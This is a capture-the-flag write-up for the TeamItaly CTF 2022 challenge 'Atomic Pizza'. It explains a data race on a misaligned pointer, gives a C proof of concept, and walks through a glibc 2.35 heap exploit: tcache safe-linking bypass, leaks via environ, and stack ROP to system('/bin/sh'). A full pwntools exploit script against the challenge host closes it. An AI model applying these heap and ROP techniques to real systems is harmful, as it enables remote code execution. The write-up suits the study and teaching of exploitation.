# TeamItaly CTF 2022
## Atomic Pizza (1 solves)
I found this pizzeria where they let you create your own toppings,you should try it.
## Solution
### TL;DR
- In `select_favorite_slice` you can get `favorite_slice` to point  to an arbitrary location abusing the non atomicity of the `mov`  instruction on non naturally aligned addresses (the stripped  global variable)- Leak heap from tcache bin and libc from unsorted bin- Get an arbitrary allocation right above `environ` and leak it,  using again the first vulnerability- Get another arbitrary allocation in the stack and ROP to the win
### Overview
The binary is a simple application that lets you create a pizza:you can create / modify / eat (delete) / look at slices.There is an option to select your favorite slice, but it just randomlyselect a slice and once selected, you can look at it and modify it.
The reversing part is a bit tricky if you use the wrong decompiler:because the `assert_fail` function takes a vararg, some decompilersdon't understand what's happening and thinks that that function willnever return, thus truncating the functions calling it. I found outthat Ghidra and Ida 7.5 works really bad, while Binary ninja andIda 7.7 works fine, with Ida 7.7 getting an almost source code match.
The "normal slice" 's functions looks fine, they handle the sliceswith exaustive checks and a bit of trolling if you do somethingwrong (such as asking for a too big topping or answering neither 'y'nor 'n' to a 'y/n' question). The `select_favorite_slice` functioncan be called only with more than two already existing slices. Insidea secondary thread it creates an array with only the non-NULL slicesand start looping throught those slices. When, in the main thread,the user tells to "stop spinning the pizza", the `favortie_slice`gets extracted and the secondary thread gets stopped. The functionsto handle the `favorite_slice` also look fine, also because they arepretty much identical to the normal ones.
### Vulnerability
The vulnerability is a data race in the `select_favorite_slice`and `pizza_spinner` functions. There are two global variables: thefirst one is stripped and keeps getting changed in a while loop overthe existing slices, while the second one, `favorite_slice`, isassigned to the first one while the first one is still "spinning".The problem is that the stripped variable is located at `0x...f`,so it is not naturally aligned, in particular, the first byte ofthe pointer is in one `QWORD` and the other 7 bytes in thesuccessive one. This makes the `mov` instruction on that address, nonatomic and if it happens that the two `QWORD`s crosses a cache-line,you would have enough time to read a half assigned value (I'm notentirely sure if this is the correct reason, but I did someresearch and it looks reasonable enough).
A simple POC would be something like this:
```C#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <pthread.h>#include <sys/types.h>
#pragma pack(1)  // Otherwise the compiler would add one byte of padding after `pad`struct foo {    char pad[7];    __uint64_t val;  // This is at 0x...f} shared;
void* shuffle(void* args) {    __uint8_t turn = 0;    while (1) {        if (turn) shared.val = 0x4141414141414141ULL;        else      shared.val = 0x4242424242424242ULL;        turn ^= 1;    }    return NULL;}
int main () {    pthread_t th;    shared.val = 0x4141414141414141ULL;    size_t attempts = 0;
    pthread_create(&th, NULL, shuffle, NULL);    while (1) {        attempts++;        usleep(1000);        // With usleep it takes less than 1000 attempts, without it, about 1000000        // I guess this happens because it leaves some time for the caches to cool down        __uint64_t extracted = shared.val;        if (extracted != 0x4141414141414141ULL && extracted != 0x4242424242424242ULL) {            printf("Taken %ld attempts\n", attempts);            printf("%#018lx\n", extracted);            break;        }    }
    pthread_cancel(th);    return 0;}
// $ gcc -o poc -pthread poc.c// $ ./poc// Taken 127 attempts// 0x4141414141414142```
### Exploitation strategy
Using this vulnerability we can get `favorite_slice` to point to an(almost) arbitrary location. The first allocated chunk will be at`0x2a0`, so we can create another chunk at `0x.b0` and get`favorite slice` to point inside the first slice's topping at `0x2b0`.From there we can set its size to whatever we want, in order to leakfreed chunks and overwrite their pointers.
Since libc is 2.35 we can't just leak libc and overwrite `__free_hook`,but we need to do a little more work.
First we leak heap address from two tcache chunks (two because ofsafe linking) and libc address from a unsorted bin chunk.Then we leak the stack from `environ`, inside libc, by gettingan arbitrary allocation above it and abusing the vulnerabilityagain. Now we only need one last arbitrary allocation insidethe stack and we can do ROP to get RCE. For this we could usethe race once again, but it is easier to set up an arbitraryallocation with the first fake `favorite_slice` and use it to getoverlapping chunks.
### Exploit
For each arbitrary allocation we need two chunks: one to overwrite thetcache forward pointer and another one to increment the tcache entrycounter otherwise the corrupted pointer would be ignored. So, for thefirst part we need a total of 7 slices:
- the first and last will have the right addresses to perform the  data race- the second and third are for one arbitrary allocation- the fourth and fifth for the second one- the sixth is a big slice that will go in the unsorted bins  and leak the libc
```pythonfake_slice1 = p16(0x1000) + b"CHECK"create_slice(1, b"A" * (0x10 - 2) + fake_slice, 0x18 - 3) # 0x20 chunkcreate_slice(2, b"AAAA", 0x28 - 3) # 0x30 chunkcreate_slice(3, b"AAAA", 0x28 - 3)create_slice(4, b"AAAA", 0x38 - 3) # 0x40 chunkcreate_slice(5, b"AAAA", 0x38 - 3)create_slice(6, b"AAAA", 0x500 - 3)create_slice(7, b"AAAA", 0x18 - 3)```
The first slice is located at `0x2a0` and the last one at `0x8b0`, sothe possible fake slices are `0x8a0`, that is empty (`size = 0`)because I've written nothing at that address, and `0x2b0` that pointsright to the fake_slice. Now we delete every chunk exept the first oneand the last one and call `select_favorite_slice` until`favorite_slice` starts with the string `"CHECK"`.
```pythoneat_slice(2)eat_slice(3)eat_slice(4)eat_slice(5)eat_slice(6)leak = b""while not leak.startswith(b"CHECK"):    leak = spin_pizza()```
The libc leak is in the 6th slice, while for the heap leak we needto undo the safe linking of the forward pointers of slices 2 and 3:`heap_leak = forward_pointer2 ^ forward_pointer3`.
Now we have to set up the two arbitrary allocations. For the sliceabove `environ` we overwrite the 3rd slice's forward pointer,while for the heleper slice to get the overlapping chunks and,in the future, an arbitrary allocation into the stack, we usethe 5th slice.
```pythonfake_slice1 = heap_base + 0x2b0chunk3 = heap_base + 0x2f0chunk5 = heap_base + 0x360
future_arbitrary_alloc = heap_base + 0x510target_allocation = libc.symbols["environ"] - 0x30
payload  = b"A" * (chunk3 - fake_slice1 - 0x8 - 2)payload += p64(0x31)  # Chunk sizepayload += p64((chunk3 >> 12) ^ target_allocation)  # Target allocation with safe linkingpayload  = payload.ljust(chunk5 - fake_slice1 - 0x8 - 2, b"A")payload += p64(0x41)payload += p64((chunk5 >> 12) ^ future_arbitrary_alloc)edit_favorite_slice(payload, 0x1000 - 1)```
The second allocation on the `0x30` chunks will be at `environ - 0x30`.The `- 0x30` is important because of two reasons: everything in theallocated slice will be memset to 0, so we must be far enugh andthe first allocation on the `0x30` chunks will be at `0x.f0`,while `environ` is at `0x.00`, hence, `environ - 0x30` will be at`0x.d0` and we will craft the fake slice at `0x.f0 = environ - 0x10`
```pythoncreate_slice(2, b"AAAA", 0x28 - 3)fake_slice2 = p16(0x20) + b"CHECK"create_slice(3, b"A" * (0x20 - 2) + fake_slice2, 0x28 - 3)```
We delete the (now) useless slices and exploit the vulnerabilityagain to get the stack leak.
```pythoneat_slice(1)eat_slice(7)leak = b""while not leak.startswith(b"CHECK"):    leak = spin_pizza()```
Now we have a stack leak, so we just use the helper slice to getanother arbitrary allocation. We create and free 2 slices in the`0x60` bin, then we allocate two slices of size `0x40` (the sizeof the helper slice) and the second one will be an overlappingslice, so we can use it to overwrite the `0x60` chunk forwardpointer.
```pythoncreate_slice(4, b"AAAA", 0x58 - 3)create_slice(5, b"AAAA", 0x58 - 3)eat_slice(4)eat_slice(5)create_slice(4, b"AAAA", 0x38 - 3)
chunk5 = heap_base + 0x520stack_allocation = environ - 0x120 - 0x8payload  = b"A" * 0x6payload += p64(0x61)  # Chunk sizepayload += p64((chunk5 >> 12) ^ stack_allocation)create_slice(5, payload, 0x38 - 3)```
Finally the second allocation of size `0x60` will be into the stackand we can do ROP to exectue `system("/bin/sh")`. We target the`main` return address, so the payload will be triggere once we exit.
```pythoncreate_slice(6, b"AAAA", 0x58 - 3)rop  = b"A" * 0x6rop += p64(POP_RDI + libc_base)rop += p64(next(libc.search(b"/bin/sh\x00")))rop += p64(RET + libc_base)  # system requires the stack to be aligned at 0x10rop += p64(libc.symbols["system"])create_slice(7, rop, 0x58 - 3)
r.recvuntil(b"> ")  # Exitr.sendline(b"8")```
### Exploit script
```python
#!/usr/bin/python3
import osfrom pwn import *
HOST = os.environ.get("HOST", "atomic-pizza.challs.teamitaly.eu")PORT = int(os.environ.get("PORT", 15010))
context(arch="amd64", log_level="warning")
for i in range(3):  # Otherwise, it will fail if a \n appears in the addresses
    r = connect(HOST, PORT)
    POP_RDI = 0x2a3e5    RET = 0x29cd6
    def create_slice(index, topping, size):        r.recvuntil(b"> ")        r.sendline(b"1")        r.recvuntil(b"> ")        r.sendline(b"%d" % size)        r.recvuntil(b"> ")
        if size == len(topping):            r.send(topping)        else:            r.sendline(topping)
        r.recvuntil(b"> ")        r.sendline(b"%d" % index)
    def eat_slice(index):        r.recvuntil(b"> ")        r.sendline(b"4")        r.recvuntil(b"> ")        r.sendline(b"%d" % index)        r.recvuntil(b"> ")        r.sendline(b"y")
    def spin_pizza():        r.recvuntil(b"> ")        r.sendline(b"5")        r.recvuntil(b"> ")        r.sendline(b"")        r.recvuntil(b"> ")        r.sendline(b"")
        r.recvuntil(b"> ")        result = r.recvuntil(b"\n----")[:-5]        return result
    def edit_favorite_slice(new_topping, size):        r.recvuntil(b"> ")        r.sendline(b"7")        r.recvuntil(b"> ")        r.sendline(b"%d" % size)        r.recvuntil(b"> ")        r.sendline(new_topping)
    try:        fake_slice1 = p16(0x1000) + b"CHECK"        create_slice(1, b"A" * (0x10 - 2) + fake_slice1, 0x18 - 3)        create_slice(2, b"AAAA", 0x28 - 3)        create_slice(3, b"AAAA", 0x28 - 3)        create_slice(4, b"AAAA", 0x38 - 3)        create_slice(5, b"AAAA", 0x38 - 3)        create_slice(6, b"AAAA", 0x500 - 3)        create_slice(7, b"AAAA", 0x18 - 3)
        eat_slice(2)        eat_slice(3)        eat_slice(4)        eat_slice(5)        eat_slice(6)
        leak = b""        while not leak.startswith(b"CHECK"):            leak = spin_pizza()
        next1 = u64(leak[0x10 - 2: 0x18 - 2])        next2 = u64(leak[0x40 - 2: 0x48 - 2])        heap_base = (next1 ^ next2) - 0x2c0        libc_leak = u64(leak[0x210 - 2: 0x218 - 2])        libc_base = libc_leak - 0x219ce0
        fake_slice1 = heap_base + 0x2b0        chunk3 = heap_base + 0x2f0        chunk5 = heap_base + 0x360        future_arbitrary_alloc = heap_base + 0x510        target_allocation = 0x221200 - 0x30 + libc_base        payload = b"A" * (chunk3 - fake_slice1 - 0x8 - 2)        payload += p64(0x31)  # Chunk size        payload += p64((chunk3 >> 12) ^ target_allocation)        payload = payload.ljust(chunk5 - fake_slice1 - 0x8 - 2, b"A")        payload += p64(0x41)        payload += p64((chunk5 >> 12) ^ future_arbitrary_alloc)        edit_favorite_slice(payload, 0x1000 - 1)
        create_slice(2, b"AAAA", 0x28 - 3)        fake_slice2 = p16(0x20) + b"CHECK"        create_slice(3, b"A" * (0x20 - 2) + fake_slice2, 0x28 - 3)        eat_slice(1)        eat_slice(7)
        leak = b""        while not leak.startswith(b"CHECK"):            leak = spin_pizza()
        environ = u64(leak[0x10 - 2: 0x18 - 2])
        create_slice(4, b"AAAA", 0x58 - 3)        create_slice(5, b"AAAA", 0x58 - 3)
        eat_slice(4)        eat_slice(5)
        create_slice(4, b"AAAA", 0x38 - 3)
        chunk5 = heap_base + 0x520        stack_allocation = environ - 0x120 - 0x8        payload = b"A" * 0x6        payload += p64(0x61)  # Chunk size        payload += p64((chunk5 >> 12) ^ stack_allocation)        create_slice(5, payload, 0x38 - 3)
        create_slice(6, b"AAAA", 0x58 - 3)
        rop = b"A" * 0x6        rop += p64(POP_RDI + libc_base)        rop += p64(0x1d8698 + libc_base)        rop += p64(RET + libc_base)        rop += p64(0x50d60 + libc_base)        create_slice(7, rop, 0x58 - 3)
        r.recvuntil(b"> ")        r.sendline(b"8")
        r.recvuntil(b"Bye! :D\n")        r.sendline(b"cat pizza_secret.txt")        print(r.recvline().strip().decode())        r.close()        break    except:        r.close()
else:    print("Service is down")```